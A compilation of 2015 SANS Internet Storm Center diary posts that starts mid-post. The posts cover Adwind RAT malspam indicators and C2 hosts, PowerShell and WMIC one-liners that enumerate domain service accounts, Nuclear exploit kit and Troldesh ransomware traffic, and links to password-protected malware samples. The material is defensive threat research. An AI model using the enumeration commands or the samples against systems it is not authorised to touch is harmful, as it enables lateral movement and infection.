I do go "hunting" looking for unusual activity and pattern IDS/IPS or even the SIEM doesn't know about. There is a lot of threat intelligence out there that can be used to detect unusual pattern of activity. Maybe you have a security device that use some form of feeds to detect bad actors (i.e. some vendors use DShield feeds), reviewing what they trigger might yield interesting data. How about taking the time to review if the systems communicating with the HR server(s) are part of the allowed list? This example could be added to a SIEM to trigger for unusual activity.

If you are a “hunter”, what do you look for?

[1] http://www.rsaconference.com/media/the-game-has-changed?

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Updated 2015-08-18 to include information on AlienSpy transitioning to JSocket v1.0.

Introduction

Since mid-July 2015, I've noticed an increase in malicious spam (malspam) caught by my employer's spam filters with java archive (.jar file) attachments.  These .jar files are most often identified as Adwind.  Adwind is a Java-based remote access tool (RAT) used by malware authors to infect computers with backdoor access.  There's no vulnerability involved.  To infect a Windows computer, the user has to execute the malware by double-clicking on the .jar file.  Of course, you have to have the Java Runtime Environment installed, which many people do.

I previously associated Adwind with targeted phishing attempts in limited amounts.  I had found very few examples of non-targeted malspam using this RAT.

However, we're currently seeing enough Adwind-based malspam to ask: Is Adwind now another payload for botnet-based malspam?

Background

Adwind originated from the Frutas RAT [1].  Frutas was a Java-based RAT discovered by Symantec from underground forums in early 2013 [2].  By the summer of 2013, the name had changed to Adwind, and signatures for Adwind-based malware were implemented by anti-virus companies [3].  In November of 2013, Adwind was rebranded and sold under a new name: UNRECOM (UNiversal REmote COntrol Multi-platform) [1].

Throughout 2013, we noticed a few occasions of Adwind used in phishing attempts.  2014 saw an increase of Adwind/UNRECOM malware used in phishing campaigns targeting "U.S. state and local government, technology, advisory services, health, and financial sectors" [4].

By April 2015, a new Adwind/UNCRECOM variant called AlienSpy was widely reported, and this new variant included Transport Layer Security (TLS) encryption for command-and-control communications.  These TLS communications involve certificates.  EmergingThreats posted a signature for Adwind-based certificates in March of 2015 [5], and Fidelis CyberSecurity Solutions published an in-depth report on AlienSpy the following month [6].

Recent updates

• 2015-04-10: AlienSpy domain suspended by Godaddy shortly after a report on this RAT was published by Fidelis [7].
• 2015-04-19: JSocket.org registered through eNom.
• 2015-06-23: JSocket.org's first blog entry stating the project started on 2015-06-23 [8].
• 2015-07-10: Another entry (now removed) states AlienSpy would stop on 2015-07-11, telling AlienSpy users to update to JSocket.
• As recently as 2015-08-18, a site called Rekings currently shows its AlienSpy entry tagged as JSocket v1.0 [9].

Shown above: Blog entry showing AlienSpy transitioned to JSocket on 2015-07-11.

Shown above: At least one reseller has tagged AlienSpy as JSocket v1.0.

The naming progression appears to be: Frutas -> Adwind -> UNRECOM -> AlienSpy -> JSocket.  From what I can tell, it's all been Java-based malware sent as .jar file attachments in phishing emails.  Many people still refer to it as Adwind, which is how I see it identified most often.

Not counting targeted attempts, I've found Adwind-based malspam maybe once every month or two.  That changed in mid-July 2015.  After that, the amount of malspam with Adwind increased dramatically.  Currently, I see at least one Adwind-based malspam every day on average.  The frequency of this malspam along with the variety of subject lines, attachment names, and senders indicate Adwind is no longer limited to targeted attacks.  Frutas/Adwind/UNRECOM/AlienSpy/JSocket (whatever you want to call it) appears to be another payload for botnet-based malspam.

The emails

Here's a sample of the different senders, subjects, and attachment names I've seen for Adwind-based malspam since mid-July 2015:

Read: Date -- Sender (most often spoofed) -- Subject -- Attachment name(s)

• 2015-07-14 -- Credit Control [creditcontrol@bwfllc.co] -- Chaps Payement -- Chaps Payment Copy.jar
• 2015-07-17 -- Kathryn Harriman [williamhui@bgf.com.hk] -- Re: New Order -- product list.jar
• 2015-07-25 -- Karianne Maltun [geral@eimigrante.pt] -- RE :Payment Preparation=0590-PI/Invoice -- payment_Order .jar
• 2015-07-27 -- Vivian Joe [noreply@googlemail.com] -- Purchasing order -- PURCHASING Order.jar
• 2015-07-29 -- NAB Customer Service [trusplus@sify.com] -- PAYMENT ADVICE -- PAYMENT SWIFT MT103 NAB BANK PDF.jar
• 2015-07-30 -- sales.qnijewels@gmail.com -- Fwd: Outstanding Invoices -- SOA AS OF JUly.jar
• 2015-07-30 -- Karianne Maltun [a.macesic@inspectorate-croatia.hr] -- Scanned DUC-Invoice -- Invoice.jar
• 2015-07-31 -- [Andrea@intl.westernunion.com] -- Wupos Update -- Wupos_update_0940002TT12212.jar
• 2015-07-31 -- [office@regcon-asia.kz] -- Find the swift copy for the balance payment !! -- payment.invoice.1.jar
• 2015-08-03 -- Juliet Helix [noreply@googlemail.com] -- Purchasing Order -- Purchasing Order..jar
• 2015-08-03 -- Wilborax Trading Company Ltd. [top@jviincentthailand.com] -- Re: PO 6785435 30-08-2015 -- PO 6785435 30-08-2015 PDF.jar
• 2015-08-06 -- Eduardo A. Iguina [info@al-rddadi.com.sa] -- Re: Payment Processed. -- PI-Invoice-0972-DUC.jar
• 2015-08-06 -- Sales!!! UST-TRADE Co,. Ltd [sales11@laurence-chocolate.gr] -- Re: Enquiry -- P.O_001_UST-TRADE.jar
• 2015-08-06 -- Lynnea Trade Co,. LTD [vinita.sharma@frrforex.in] -- Re: P.0 18003. -- P.O_18003.jar
• 2015-08-09 -- Eduardo A. Iguina [d.pavic@inspectorate-croatia.hr] -- Re: Payment Processed -- Invoice-Processed.jar
• 2015-08-09 -- KAZA EQUIPMENT LTD [private@premier-gps.com] -- PO#192603 -- Products List.jar , Purchase Order (PO).jar
• 2015-08-10 -- [info@fulplanet.com] -- Invoice order -- Invoice.jar
• 2015-08-10 -- DHL Customer Service [trusplus@sify.com] -- DHL SHIPMENT NO. 7032540771 of EXP -15016 -- DHL SHIPPING DOCUMENTS PDF.jar
• 2015-08-10 -- Ditana Amir Cohen [Elvgncl@gmail.com] -- Request Quotation for Listed Item -- Request Quotation Item.jar
• 2015-08-11 -- Florence Walton [fax@chartered.co.th] -- Winter Order to Brazil. -- Price Check.jar
• 2015-08-12 -- [info@fulplanet.com] -- Re: Invoices payable -- Invoice.jar
• 2015-08-12 -- [freya@byloth.nl] -- Re: Company Address And Bank Detail -- CDX30404.jar
• 2015-08-13 -- Sandy [private@premier-gps.com] -- PO#192603 -- PO#192603.jar

Prior to that, I saw Adwind-based malware maybe once every month or two.  I never paid much attention to it until I noticed the recent increase.  Some screenshots are shown below:

The malware

I collected some samples during the past week and examined them.  With the appropriate software packages installed, I could use the command jar tf [filename] to list the contents of the Java archive.  Most (but not all) of the .jar files had this internal file structure:

• META-INF/MANIFEST.MF
• b.txt
• a.txt
• a/dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwiiIiiIIIii.class
• b/dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwiiIiiIIIii.class
• c/dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwiiIiiIIIii.class
• dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwiiIiiIIIii.class
• Main.class
• dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwIiiiiiIiII.class
• dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwIIiiIiiiII.class
• dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwIiiiiIiIII.class
• dewmhGAv5r0QGW5ll9yAZViufg7Kw96lY5dWkbn4Eq8ZBiNW8azEnBVN7TqbhwMvgiKJW1D3lw9muhhJ2jxGQYjlwIIIiIiIiIi.class

Shown above: Listing some of the Adwind .jar files' contents

Command and control communications

Samples collected during the past week show the following TLS-encrypted SSL traffic after the infection:

Read: host name - IP address - port

• p0.corotext.com - 91.236.116.185 - TCP port 588
• pauloo1.corotext.com - 91.236.116.185 - TCP Port 8001
• trusplus111.gotdns.ch - 197.255.170.191 - TCP port 10000
• selkrom.ddns.net - 111.118.183.211 - TCP port 9887
• serialcheck55.serveblog.net - 185.19.85.172 TCP port 1818

I examined a pcap from the last malware sample above, with command-and-control traffic on TCP port 1818.  You can find the certificate associated with Adwind in Wireshark.  First, follow a TCP stream with the traffic on port 1818.  From the Wireshark menu, select: Analyze -> Decode As.

In the window that pops up, select the Transport tab and scroll down to SSL, then apply.

Wireshark will now parse this TCP stream as SSL.  You can find the certificate information as shown in the image below:

This still shows the same certificate information used since EmergingThreats tagged it in their snort signature from March 2015 [5].  I saw the same certificate information used last week [10], and it continues this week.

• commonName = assylias
• organizationName = assylias.Inc
• countryName = FR

Currently, this may be the best way to identify Adwind-based post-infection traffic.  Look for SSL traffic on a non-standard TCP port using that particular certificate.

Malware samples

Below, I've included information on examples for Adwind malware found during the past week:

File name: Invoice-Processed.jar

• File size 96.5 KB ( 98,866 bytes )
• MD5 hash: d93dd17a9adf84ca2839708d603d3bd6
• SHA1 hash: ddca2db7b7ac42d8a4a23c2e8ed85de5e91dbf29
• SHA256 hash: d5d3d46881d8061bb3679aee67715f38bebefb6251eb3fdfa4a58596db8f5b16
• Detection ratio: 8 / 50
• First submission: 2015-08-09 08:27:37 UTC
• Virus Total link - Malwr link - Hybrid-Analysis link
• Command and control: p0.corotext.com - 91.236.116.185 - TCP port 588

File name: Products List.jar

• File size: 99.0 KB ( 101,349 bytes )
• MD5 hash: 201fd695feba07408569f608cd639465
• SHA1 hash: b11857de46ba3365af5f46171bbe126f19483fee
• SHA256 hash: 0e198e6e1b9cfa5be0d9829e10717093487548b5c0d6fbbeaae6be1d53691098
• Detection ratio: 8 / 56
• First submission: 2015-08-10 19:42:56 UTC
• Virus Total link - Malwr link - Hybrid-Analysis link

File name: Purchase Order (PO).jar

• File size: 99.0 KB ( 101,344 bytes )
• MD5 hash: 78990750a764dce7a7a539fb797298a1
• SHA1 hash: af35dc7c1e4a32d53fe41e2debc73a82cc1f52bd
• SHA256 hash: 9eeeb3b6be01ad321c5036e6c2c8c78244b016bf7900b6fd3251139149dae059
• Detection ratio: 8 / 56
• First submission: 2015-08-10 19:43:20 UTC
• Virus Total link - Malwr link - Hybrid-Analysis link

File name: Invoice.jar

• File size: 96.6 KB ( 98,903 bytes )
• MD5 hash: da9f9b69950a64527329887f8168f0b4
• SHA1 hash: 752fab5861093e7171463b0b945e534e1ff66253
• SHA256 hash: 70290f0ffffcb4f8d90bce59f16105fd5ff61866e3dda5545b122b3c4098051b
• Detection ratio: 10 / 56
• First submission: 2015-08-10 06:40:09 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link
• Command and control: pauloo1.corotext.com - 91.236.116.185 - TCP Port 8001

File name: DHL SHIPPING DOCUMENTS PDF.jar

• File size: 99.0 KB ( 101,342 bytes )
• MD5 hash: 1fb2b0742e448124c000c34912765634
• SHA1 hash: 29d5d03dab95cd5d38bd691d5559202816d36417
• SHA256 hash: ff2b35d58d2e1ade904187eeffba709c84a9a998c6323b22fc5b7cac74cd1293
• Detection ratio: 25 / 56
• First submission: 2015-08-10 10:12:16 UTC
• VirusTotal Link - Malwr link - Hybrid-Analysis link
• Command and control: trusplus111.gotdns.ch - 197.255.170.191 - TCP port 10000

File name: Request Quotation Item.jar

• File size: 99.0 KB ( 101,370 bytes )
• MD5 hash: e08b81fd1b1b409096e65011e96ac62b
• SHA1 hash: 0fa5ce77ba5df13c596824681402c3ece7b5c1e8
• SHA256 hash: 771bb9fe6db1453e3de20ba7c39b8502c1249c6fcfd0022031ab767636136e7a
• Detection ratio: 26 / 56
• First submission: 2015-08-10 19:09:04 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link
• Command and control: selkrom.ddns.net - 111.118.183.211 - TCP port 9887

File name: Price Check.jar

• File size: 99.0 KB ( 101,359 bytes )
• MD5 hash: 5190bde4532248eb133f4dae044c492a
• SHA1 hash: 54484c3a466fb8efb982520a714045d218c83dcf
• SHA256 hash: d54e97bc1204f3674572d60e17db04c11bbe018ba9ab0250bd881cbcc5a9622e
• Detection ratio: 25 / 56
• First submission: 2015-08-11 15:57:22 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link

File name: Invoice.jar

• File size: 93.2 KB ( 95,455 bytes )
• MD5 hash: 0df04436cce61f791ec7da24ab34d71b
• SHA1 hash: 75fa848e0048e040aed231f9db45b14bf1a903d7
• SHA256 hash: f2188d223305092fe0a9c8be89c69e149c33c3ea4b1c0843fda00771ac72272d
• Detection ratio: 10 / 55
• First submission: 2015-08-12 19:53:46 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link

File name: CDX30404.jar

• File size: 100.6 KB ( 102,970 bytes )
• MD5 hash: 5ab9653be58e63bf8df7fb9bd74fa636
• SHA1 hash: 3af9157dffde41f673cdacc295f2887b5c56e357
• SHA256 hash: f8f99b405c932adb0f8eb147233bfef1cf3547988be4d27efd1d6b05a8817d46
• Detection ratio: 22 / 49
• First submission: 2015-08-09 20:57:26 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link
• Command and control: serialcheck55.serveblog.net - 185.19.85.172 TCP port 1818

File name: PO#192603.jar

• File size: 95.6 KB ( 97,918 bytes )
• MD5 hash: c5cdbf91ebd4bab736504415806a96b7
• SHA1 hash: ceb29d24f0dc96d867c9a99306d155a31c5eb807
• SHA256 hash: 48a0859478fb2b659e527ed06abf44ef40d84c37a5117d49ca2312feed1b1b7d
• Detection ratio: 13 / 56
• First submission: 2015-08-13 17:21:33 UTC
• VirusTotal link - Malwr link - Hybrid-Analysis link

Final words

I collected some emails from the past few days, sanitized them, and saved them to a zip archive.  That archive is available at:

• http://malware-traffic-analysis.net/2015/08/14/2015-08-14-ISC-diary-Adwind-examples.zip

The zip archive is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

This malspam might all be from the same botnet, but I haven't had time to dig through the malware samples to confirm.  Furthermore, my view is limited to whatever I collect from the spam filters at my current employer.  I suspect other organizations with access to more data have better insight.

If any of you have encountered examples of this malspam, feel free to share in the comments.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://blog.crowdstrike.com/adwind-rat-rebranding/
[2] http://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door
[3] https://www.symantec.com/security_response/writeup.jsp?docid=2013-070113-1904-99
[4] http://www.fidelissecurity.com/sites/default/files/FTA_1013_RAT_in_a_jar.pdf
[5] http://doc.emergingthreats.net/bin/view/Main/2020728
[6] http://www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf
[7] http://www.threatgeek.com/2015/04/tango-down-alienspy-is-offline-as-of-this-morning.html
[8] https://jsocket.org/blog/new-project/
[9] https://www.rekings.com/product-tag/jsocket-v1-0/
[10] http://malware-traffic-analysis.net/2015/08/06/index.html

2015-08-20 update: Included Symantec response on this issue.

Reader Tim reported a problem with MS15-084 patch in Symantec Cloud Endpoint Protection. After installing the patch, the following message appears in the log:

A timeout (30000 milliseconds) was reached while waiting for a transaction response from the SsPaAdmin service

Do you have Symantec Cloud Endpoint Protection? Have you installed MS15-084 and got problems? Let us know using our contact form.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

------------------------------------------------------------

NOTE:  Another reader emailed us and forwarded this response from the Symantec Customer Communications Team:

Posted by Symantec on their customer portal on 2015-08-20:

We are aware of the recent connectivity issues with SEP SBE. We are investigating and have determined that this is an issue with communications to our server caused by a recent Microsoft Update (KB3076895), however the Microsoft patch is a critical security update and is not recommended to be removed. The Endpoint Protection agent is functioning normally and systems are still protected.

Symptoms related to this issue:
System Tray icon shows it’s in an unknown state
Policies are not being updated
Client GUI may not open
The Portal is not being updated with the status of the client

We will be providing more information as it becomes available.

Sincerely,

The Symantec Customer Communications Team

[This announcement can also be viewed by logging into your account and visiting the News Alert widget under the Home page.]

When you go through website security, Cross Site Scripting (XSS) is almost always discussed.  Almost exclusively, Reflected XSS is the main topic, and it almost always covers the lion's share of the demonstrations and vulnerabilities found.  Mainly because Stored or Persistent XSS is harder to find.

But Stored or Persistent XSS is an actual thing, and it is seen in the wild.  In Stored XSS, data is stored, often in a back-end database, and the act of reading that data at a later time triggers the exploit.

Just this past week (I'm a bit behind, just back from vacation), Apple had a Stored XSS vulnerability in the iTunes and App Stores.  If you named your device in a malicious manner, reading the device name in any subsequent invoices would trigger the exploit.  So what you say - you just exploited yourself.  Ahhh - but the not so obvious piece of this is that you likely also sent the exploit to anyone you purchase any product in the store from (for instance, App purchases).  

There's no good way to know if anyone was actually exploited using this - really it depends on which browser and version they were running at the time.  The bug was found and reported by the folks at Vulnerability Lab, so it's not clear if this was ever seen "in the wild".  However, I'm sure that Apple wasn't thrilled about being a potential transit for malicious activity like this (it's since been fixed of course)

This does make a great example of how a Stored or Persistent XSS can work though - if you need to make the point to a client, someone in management or a developer, this makes a good example to trot out!

If you've seen something similar, a persistent XSS in real live (that you are able to talk about), please share using our comment form!

===============
Rob VandenBrink
Metafore

Windows Service Accounts have been one of those enterprise "neccessary evils" - things that you have to have, but nobody ever talks about or considers to be a problem.  All too often, these service accounts are in the Domain Admins group, with passwords like "Service123", "S3rvic3" or something equally lame.  And all too often, application vendors that use these services insist on just such a configuration.

Why is using actual service accounts a bad thing?  Aside from the fact that the passwords are generally set to never change, the passwords are stored in the registry, in a text format that is easily captured to arrive at the actual password.  Needless to say, this generally allows an attacker to fly under the radar and move laterally to other hosts - pillaging your AD Domain at will.

Enumeration:
So, how do we find these service accounts?  It's the same method, whether you are doing this to protect your assets, or if you are in a Penetration Test or Security Assessment.  List all the services for all stations in the domain, and winnow out the ones that have service accounts (either local or domain) attached to them.

In days gone by, I would have used WMIC:

First, look at "getservices.cmd":

REM one or both of
netdom query server | find /v "List" > targetlist.out
netdom query workstation | find /v "List" >> targetlist.out

for /F "tokens=1" %%S in (targetlist.out) DO call servicelist.cmd %%S  >> services.out

type services.out | find /v /i "LocalSystem" | find /v "LocalService" | find /v /i "NetworkService"

where servicelist.cmd looks like:

wmic /node:%1 service get systemname,displayname,started,startmode,Startname

This will give you a list of all services that use local or domain accounts, what machines they are installed on, if they are running and if they are enabled, disabled or set for manual control.  However, this takes **forever**, especially the netdom command!  How can we do this in Powershell?
 

Enumeration Again - with Powershell:

So, if you've used the  WMIC approach to recover windows Service account information in a reasonably sized AD Domain, you've likely found it to be is a very sl-o-o-o-w process - we'll see that it runs much faster using Powershell.

First, let's try the "Get-Service" cmdlet.  

get-service -computername $TARGET | format-list
....
Name                : WwanSvc
DisplayName         : WWAN AutoConfig
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {PlugPlay, NdisUio, RpcSs, NlaSvc}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32ShareProcess
....

We see here that get-service doesn't give us service account login information - in fact it doesn't give us a lot of things about the services that you'd expect to see.  What to do?  Use WMI within Powershell!

get-wmiobject win32_service -computername $TARGET | format-table systemname, displayname,startname, state

How do we then link this up to a list of computers in the domain?  Use the Get-ADComputers cmdlet of course!  (You might need to run "import-module activedirectory" on older systems)

So, linking it all together in a one-liner:

get-adcomputer -filter * | foreach { Get-WmiObject Win32_service -Computer $_.name } | select-object systemname, displayname,startname, state | export-csv services.csv

Will get you the list of all services on all hosts in the domain.  I normally grab the entire list, then filter it, just as in the WMIC example, to find our  "problem" services, the hosts that they're running on and especially the service accounts that are in use:

type services.csv  |  find /v /i "LocalSystem" | find /v "LocalService" | find /v /i "NetworkService"

Fixing the Problem
Microsoft has come up with a decent way to mitigate this issue.  Where possible, have your services run as "LocalSystem", "NT AUTHORITY\LocalService" or "NT AUTHORITY\NetworkService"
These settings are run levels for services only (they can't be used for interactive login), with differing security permissions, but NO PASSWORD.  What this means is that the service has the authority that it needs, but there isn't a password to crack, and the account can't be used for a normal interactive login session.

Tools like Metasploit can of course be used to run processes on a target (compromised) host with these privilege levels, but this service account approach is still way better than using actual accounts with real passwords.

If you've got a "neater" way of enumerating service accounts, especially in Powershell, please use our comment section - we'd love to hear from you!

===============
Rob VandenBrink
Metafore

Adobe released today bulletin APSB15-19, which address the following vulnerabilities found in Adobe Flash Player: CVE-2015-3107, CVE-2015-5124, CVE-2015-5125, CVE-2015-5127, CVE-2015-5128, CVE-2015-5129, CVE-2015-5130, CVE-2015-5131, CVE-2015-5132, CVE-2015-5133, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5541, CVE-2015-5544, CVE-2015-5545, CVE-2015-5546, CVE-2015-5547, CVE-2015-5548, CVE-2015-5549, CVE-2015-5550, CVE-2015-5551, CVE-2015-5552, CVE-2015-5553, CVE-2015-5554, CVE-2015-5555, CVE-2015-5556, CVE-2015-5557, CVE-2015-5558, CVE-2015-5559, CVE-2015-5560, CVE-2015-5561, CVE-2015-5562 and CVE-2015-5563.

As of today, latest Adobe Flash Player version is 18.0.0.232. For Linux, current version is 11.2.202.508. Click here to check online the version you are running.

Please keep in mind that adobe flash player has been consistently insecure for the past few years. If you own a website running on this technology, perhaps you would like to explore other technologies like HTML5 and improve the security of your users.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Overview of the August 2015 Microsoft patches and their status.

Today, our reader Jeff noted how domains ending in ".com.com" are being redirected to what looks like malicious content. Back in 2013, A blog by Whitehat Security pointed out that the famous "com.com" domain name was sold by CNET to known typo squatter dsparking.com [1]. Apparently, dsparking.com paid $1.5 million for this particular domain.  Currently, the whois information uses privacy protect, and DNS for the domain is hosted by Amazon's cloud.

All .com.com hostnames appear to resolve to 54.201.82.69, also hosted by Amazon (amazon.com.com is also directed to the same IP, but right now results in more of a "Parked" page, not the fake anti-malware as other domains)

The content you receive varies. For example, on my first hit from my Mac to facebook.com.com , I received the following page:

And of course the fake scan it runs claims that I have a virus :)

As a "solution", I was offered the well known scam-app "Mackeeper"

Probably best to block DNS lookups for any .com.com domains. The IP address is likely going to change soon, but I don't think there is any valid content at any ".com.com" host name. 

The Whitehat article does speak to the danger of e-mail going to these systems. A MX record is configured, but the mail server didn't accept any connections from me (maybe it is overloaded?).

Amazon EC2 abuse was notified.

[1] https://blog.whitehatsec.com/why-com-com-should-scare-you/

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Here at the ISC, we operate a number of honeypots. So it is nice to see how honeypots in different shapes are starting to become popular again, with even a couple of startups specializing in honeypot solutions. Back around 2001, we had products like Symantec's "Mantrap", open source efforts like the Deception Toolkit, and of course the Honeynet project.

I don't think honeypots ever "went away" (after all, we have been running a few, and the honeynet project still has a some great tools and such to run them). But honeypots never really caught on in enterprise networks. I think there were several reasons for that: First of all, pretty much all honeypots are pretty easy to discover, and typically do not deceive the more advanced attackers enterprises are most afraid about. Secondly, a good honeypot deployment, in particular if it involves difficult to detect "full interaction" honeypots, can be difficult to manage. Lastly, enterprises dont want to be accused of "inviting" an attacker by providing "honey" to trap them.

More recently, a couple of companies sprung up to solve some of these problems. They offer either an "outsourced" honeypot (or better "deception") solution and redirect traffic from your network to their honeypot, or they leverage virtualization to make honeypots easier to deploy and manage across an existing network. In addition, they also make it easier to collect indicators from honeypots and deploy them using existing enterprise security solutions.

At Blackhat, a couple of talks focused on these newer "Deception" technologies (this is what they call honeypots these days):

Breaking Honeypots for Fun and Profit (by several people from Cymmetria)

Must read for anybody deploying low interaction honeypots. These honeypots are simple (and of course imperfect) simulations of existing systems. For example Kippo and Dioneah. If you run one of these honeypots, you should check out the techniques outlined in the talk. It shouldn't be too hard to adapt your honeypot to evade these detection techniques. 

Bring Back the Honeypots (Haroon Meer and Marco Slaviero)

This talk gives a good summary of more modern honeypots and honey tokens. If you are familiar with John Strands ADHD Linux distribution, you may already know about things like booby trapped documents.

Other talks do not deal directly with honeypot deployment, but instead presented results collected from honeypots. Honeypots in our experience have been very helpful in emulating "IoT" devices, and so it is no surprise that SCADA security research takes advantage of honeypots to detect and measure attack activity.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

The good folks at Firefox have released their latest version, 39.0.3, in response to vulnerability  CVE-2015-4495, which has been seen in the wild and allows an attacker to read and steal sensitive local files.  The vulnerability takes advantage of the interaction between the JavaScript context separation and the PDF Viewer.  The exploit works by injecting a JavaScript payload into the local file context, which allows it to search and upload local files.  Mozilla products that do not contain the PDF viewer are not vulnerable, as well as Mac systems.

**NOTE**: This exploit has been seen in the wild, and leaves no trace it has run on the local machine.  The exploit description described in greater detail at the Mozilla Security website gives additional details on what files are currently being targeted. As with any updates being deployed into the enterprise, we highly recommend testing updates for impact before deployment, and ensure all configuration and change control requirements are maintained.

tony d0t carothers --gmail

In my last diary entry I mentioned offline use of Sysinternal tools with my tool virustotal-search.

So you want to use sigcheck but you can't connect the machine to the Internet. Then you can use sigcheck's option -h to calculate cryptographic hashes of the files it checks, and option -c to produce a CSV output (-ct for CSV with a tab separator). If you want, you can limit sigcheck's scanning to executable files only with option -e.

To extract a unique list of MD5 hashes, you can use this pipe of awk, tail, sed and sort (for a tab separated CSV file):

awk -F '\t' '{print $10}' sigcheck-system32.csv | tail -n +2 | sed 's/"//g' | sort -u

And then you can use virustotal-search to submit the hashes.

If you suspect the machine is infected with malware that has rootkit features, then don't boot from the suspect disk, but mount the disk on another machine or boot from a Live CD and use sigcheck to scan the disk.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Introduction

About two weeks ago, Nuclear exploit kit (EK) changed its URL patterns.  Now it looks a bit like Angler EK.  Kafeine originally announced the change on 2015-07-21 [1], and we collected examples the next day.

Here's how Nuclear EK looked on 2015-07-20 [2]:

Here's how Nuclear EK appeared two days later on 2015-07-22 after the change [1]:

Now that we're into August 2015, URL patterns for Nuclear EK have altered again.  These changes are similar to what we've seen with Angler EK since June 2015 [3].  They're not the same URL patterns as Angler, but the changes are similar.

In today's diary, we examine Nuclear EK traffic as of Tuesday, 2015-08-04.  In this example, the EK delivered Troldesh ransomware, which is similar to a previous infection I published earlier this year in April 2015 [4].

First, let's see how the 2015-08-04 traffic from a compromised website led to Nuclear EK.

From a compromised web site to the EK

I viewed the compromised website by getting to it through a Bing search, which is my preferred method for generating EK traffic.  Google had already identified the site as potentially malicious and wouldn't let me get to it from their search engine.

Malicious javascript was injected in at least 4 places when I visited the site's index page.  The script is obfuscated, so you won't see any obvious URLs.   I've highlighted two examples below.

The same type of malicious script was also present in one of the .js files from another HTTP GET request.

What's the easiest way to deobfuscate the script?  Copy and paste the script into its own HTML file, make sure you've got HTML and body tags, then change the document.write to alert (see the image below).

Open the resulting web page in a browser, and you should see an alert showing the deobfuscated script.  From the above example, we find a hidden iframe that goes to mobi-avto.ru. 

The follow-up HTTP GET request returns a redirect to the Nuclear EK landing page.

With any EK, this all happens behind the scenes.  The average user won't know what happened until it's too late.  With ransomware, users will realize something's wrong when a message comes up saying their important files have been encrypted.

Shown above:  The infected host's desktop after the Troldesh ransomware infection.

A look at the Nuclear EK traffic

On 2015-07-21 when Nuclear changed, each GET request from the EK started with search?q=.  URL patterns remained that way through at least 2015-07-30 [5].  A few days later, the landing page URL still contains search?q=.  However, other URLs for the Flash exploit and payload use different words.  They also follow a different pattern after the question mark (?) up to the equal sign (=).  Below shows our example of Nuclear EK from 2015-08-04 (the landing page URL is sent twice).

In the 2015-08-04 traffic, Nuclear EK's landing page has some text before the initial HTML tag.  This is something we hadn't noticed before in Nuclear.

Except for the change in the URL pattern, this HTTP GET request for the EK's Flash exploit is similar to what we've seen before.

Nuclear EK still uses an ASCII string to XOR the payload binary.  This started with Nuclear's previous change of URL patterns back in December 2014 [6], and it remains the EK's method for hiding its payload.

Review the infection traffic using Security Onion with the EmergingThreats signature set, and you'll find events related to Nuclear EK, Tor traffic, and Troldesh malware.

Additional information from the infected host

Filtering the traffic in Wireshark, we see SSL activity to 216.230.230.247 over port 443 and 193.111.140.118 over port 995.  Although this traffic is related to the Troldesh ransomware, those IP addresses are not inherently malicious.  EmergingThreats signature hits indicate these are nodes for Tor traffic (see the previous image).

The README text files from the desktop were identical.  They all had the same message in Russian and English:

All the important files on your computer were encrypted.
To decrypt the files you should send the following code:
83BAB772E5B6C4DAA67B|0
to e-mail address decodefile01@gmail.com or decodefile02@gmail.com .
Then you will receive all necessary instructions.
All the attempts of decryption by yourself will result only in irrevocable loss of your data.

Hey, Google.  Someone is using Gmail accounts for nefarious purposes.  Bet you haven't seen that before!  Ah, free services...  A cyber-criminal's delight!

Final words

In recent months, we've seen a lot of ransomware from EK traffic.  This has been primarily (but not limited to) Angler, Magnitude, and Nuclear EK.  Most of the ransomware has been CryptoWall 3.0 [7], but every once in a while, we'll see something like AlpaCrypt/TeslaCrypt [8] or Toldesh [4].  We'll continue to monitor EK traffic and post any significant changes.

A pcap of the 2015-08-04 Nuclear EK infection traffic is available at:

• http://malware-traffic-analysis.net/2015/08/04/2015-08-04-Nuclear-EK-infection-traffic.pcap

A zip file of the associated malware is available at:

• http://malware-traffic-analysis.net/2015/08/04/2015-08-04-Nuclear-EK-malware-and-artifacts.zip

The zip file is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

---
Brad Duncan
ISC Handler and Security Researcher at Rackspace
